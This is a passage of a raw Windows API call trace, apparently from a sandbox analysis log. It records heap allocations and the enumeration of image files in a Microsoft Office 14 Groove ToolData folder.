returned 0xab91a0 [0078.621] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.621] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.621] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0ad0 [0078.621] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b9d40 [0078.621] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4400) returned 0xacb2b8 [0078.621] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c8048) returned 1 [0078.622] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.622] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c468e00, ftCreationTime.dwHighDateTime=0x1c9bcb5, ftLastAccessTime.dwLowDateTime=0x6041aaf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c468e00, ftLastWriteTime.dwHighDateTime=0x1c9bcb5, nFileSizeHigh=0x0, nFileSizeLow=0x22c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsOutgoingImage.jpg", cAlternateFileName="")) returned 1 [0078.622] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.622] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.622] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.622] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.622] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.622] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0af0 [0078.622] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b9e48 [0078.622] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.622] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bf59600, ftCreationTime.dwHighDateTime=0x1c9bcb5, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bf59600, ftLastWriteTime.dwHighDateTime=0x1c9bcb5, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsOutgoingImageMask.bmp", cAlternateFileName="")) returned 1 [0078.622] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.622] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.622] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.623] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.623] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.623] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0b10 [0078.623] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b9f50 [0078.623] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.623] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ee1e000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ee1e000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x630, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsOutgoingImageMaskSmall.bmp", cAlternateFileName="")) returned 1 [0078.623] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.623] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.623] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.623] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.623] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.623] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0b30 [0078.624] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11ba058 [0078.624] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.624] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ee1e000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ee1e000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1dd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsOutgoingImageSmall.jpg", cAlternateFileName="")) returned 1 [0078.624] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.624] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.624] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.624] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.624] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.624] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0b50 [0078.624] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11ba160 [0078.624] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.624] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80130d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80130d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2798, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessageBoxIconImages.jpg", cAlternateFileName="")) returned 1 [0078.624] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.625] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.625] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.625] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.625] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.625] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0b70 [0078.625] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11ba268 [0078.625] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.625] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80130d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80130d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessageBoxIconImagesMask.bmp", cAlternateFileName="")) returned 1 [0078.625] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.625] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.625] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.625] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.626] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.626] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0b90 [0078.626] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11ba370 [0078.626] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.626] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c135400, ftCreationTime.dwHighDateTime=0x1ca0330, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c135400, ftLastWriteTime.dwHighDateTime=0x1ca0330, nFileSizeHigh=0x0, nFileSizeLow=0x1fec, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnreadIcon.jpg", cAlternateFileName="")) returned 1 [0078.626] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.626] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.626] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.626] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.626] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.626] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0bb0 [0078.626] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11ba478 [0078.627] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.627] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb98fc100, ftCreationTime.dwHighDateTime=0x1ca0330, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb98fc100, ftLastWriteTime.dwHighDateTime=0x1ca0330, nFileSizeHigh=0x0, nFileSizeLow=0x1ffe, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnreadIconImages.jpg", cAlternateFileName="")) returned 1 [0078.627] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.627] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.627] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.627] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.627] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.627] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0bd0 [0078.627] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11ba580 [0078.627] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.627] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb90c2000, ftCreationTime.dwHighDateTime=0x1ca035a, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb90c2000, ftLastWriteTime.dwHighDateTime=0x1ca035a, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnreadIconImagesMask.bmp", cAlternateFileName="")) returned 1 [0078.627] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.627] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.627] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.628] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.628] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.628] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0bf0 [0078.628] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11ba688 [0078.628] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.628] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb90c2000, ftCreationTime.dwHighDateTime=0x1ca035a, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb90c2000, ftLastWriteTime.dwHighDateTime=0x1ca035a, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnreadIconImagesMask.bmp", cAlternateFileName="")) returned 0 [0078.628] GetLastError () returned 0x12 [0078.628] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9080 [0078.628] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0078.628] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51317770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69a5d7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.628] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x633fe700, ftCreationTime.dwHighDateTime=0x1c95fc8, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x633fe700, ftLastWriteTime.dwHighDateTime=0x1c95fc8, nFileSizeHigh=0x0, nFileSizeLow=0x44c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_Auto.jpg", cAlternateFileName="")) returned 1 [0078.628] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3390df00, ftCreationTime.dwHighDateTime=0x1c95fc8, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3390df00, ftLastWriteTime.dwHighDateTime=0x1c95fc8, nFileSizeHigh=0x0, nFileSizeLow=0x1c6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_AutoMask.bmp", cAlternateFileName="")) returned 1 [0078.629] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7db0b300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7db0b300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3356, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_ContactHigh.jpg", cAlternateFileName="")) returned 1 [0078.629] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7db0b300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7db0b300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c70, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_ContactHighMask.bmp", cAlternateFileName="")) returned 1 [0078.629] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7db0b300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7db0b300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2f79, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_ContactLow.jpg", cAlternateFileName="")) returned 1 [0078.629] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7db0b300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7db0b300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c70, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_ContactLowMask.bmp", cAlternateFileName="")) returned 1 [0078.629] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc125fc00, ftCreationTime.dwHighDateTime=0x1c95fd3, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc125fc00, ftLastWriteTime.dwHighDateTime=0x1c95fd3, nFileSizeHigh=0x0, nFileSizeLow=0x480d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_FileHigh.jpg", cAlternateFileName="")) returned 1 [0078.629] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b558100, ftCreationTime.dwHighDateTime=0x1c95fd2, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b558100, ftLastWriteTime.dwHighDateTime=0x1c95fd2, nFileSizeHigh=0x0, nFileSizeLow=0x1c6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_FileHighMask.bmp", cAlternateFileName="")) returned 1 [0078.629] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5eab000, ftCreationTime.dwHighDateTime=0x1c95fd3, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc5eab000, ftLastWriteTime.dwHighDateTime=0x1c95fd3, nFileSizeHigh=0x0, nFileSizeLow=0x46de, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_FileOff.jpg", cAlternateFileName="")) returned 1 [0078.629] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x427c8f00, ftCreationTime.dwHighDateTime=0x1c95fd2, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x427c8f00, ftLastWriteTime.dwHighDateTime=0x1c95fd2, nFileSizeHigh=0x0, nFileSizeLow=0x1c6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_FileOffMask.bmp", cAlternateFileName="")) returned 1 [0078.629] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b7f600, ftCreationTime.dwHighDateTime=0x1c95f2a, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2b7f600, ftLastWriteTime.dwHighDateTime=0x1c95f2a, nFileSizeHigh=0x0, nFileSizeLow=0x13ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_High.jpg", cAlternateFileName="")) returned 1 [0078.629] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3177400, ftCreationTime.dwHighDateTime=0x1c95f2a, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3177400, ftLastWriteTime.dwHighDateTime=0x1c95f2a, nFileSizeHigh=0x0, nFileSizeLow=0x1c6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_HighMask.bmp", cAlternateFileName="")) returned 1 [0078.629] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefeaa500, ftCreationTime.dwHighDateTime=0x1c95fc8, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefeaa500, ftLastWriteTime.dwHighDateTime=0x1c95fc8, nFileSizeHigh=0x0, nFileSizeLow=0x41de, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_Medium.jpg", cAlternateFileName="")) returned 1 [0078.629] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd34e6d00, ftCreationTime.dwHighDateTime=0x1c95fc8, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd34e6d00, ftLastWriteTime.dwHighDateTime=0x1c95fc8, nFileSizeHigh=0x0, nFileSizeLow=0x1c6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_MediumMAsk.bmp", cAlternateFileName="")) returned 1 [0078.629] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e983f00, ftCreationTime.dwHighDateTime=0x1c95fc9, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e983f00, ftLastWriteTime.dwHighDateTime=0x1c95fc9, nFileSizeHigh=0x0, nFileSizeLow=0x3e78, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_Off.jpg", cAlternateFileName="")) returned 1 [0078.629] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x258f8e00, ftCreationTime.dwHighDateTime=0x1c95fc9, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x258f8e00, ftLastWriteTime.dwHighDateTime=0x1c95fc9, nFileSizeHigh=0x0, nFileSizeLow=0x1c6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_OffMask.bmp", cAlternateFileName="")) returned 1 [0078.629] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbb75100, ftCreationTime.dwHighDateTime=0x1c9bcb4, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfbb75100, ftLastWriteTime.dwHighDateTime=0x1c9bcb4, nFileSizeHigh=0x0, nFileSizeLow=0x2256, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsIncomingImage.jpg", cAlternateFileName="")) returned 1 [0078.629] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d183d00, ftCreationTime.dwHighDateTime=0x1c9bcb5, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d183d00, ftLastWriteTime.dwHighDateTime=0x1c9bcb5, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsIncomingImageMask.bmp", cAlternateFileName="")) returned 1 [0078.629] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ee1e000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ee1e000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x630, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsIncomingImageMaskSmall.bmp", cAlternateFileName="")) returned 1 [0078.629] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ee1e000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ee1e000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1de3, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsIncomingImageSmall.jpg", cAlternateFileName="")) returned 1 [0078.629] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c468e00, ftCreationTime.dwHighDateTime=0x1c9bcb5, ftLastAccessTime.dwLowDateTime=0x6041aaf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c468e00, ftLastWriteTime.dwHighDateTime=0x1c9bcb5, nFileSizeHigh=0x0, nFileSizeLow=0x22c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsOutgoingImage.jpg", cAlternateFileName="")) returned 1 [0078.629] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bf59600, ftCreationTime.dwHighDateTime=0x1c9bcb5, 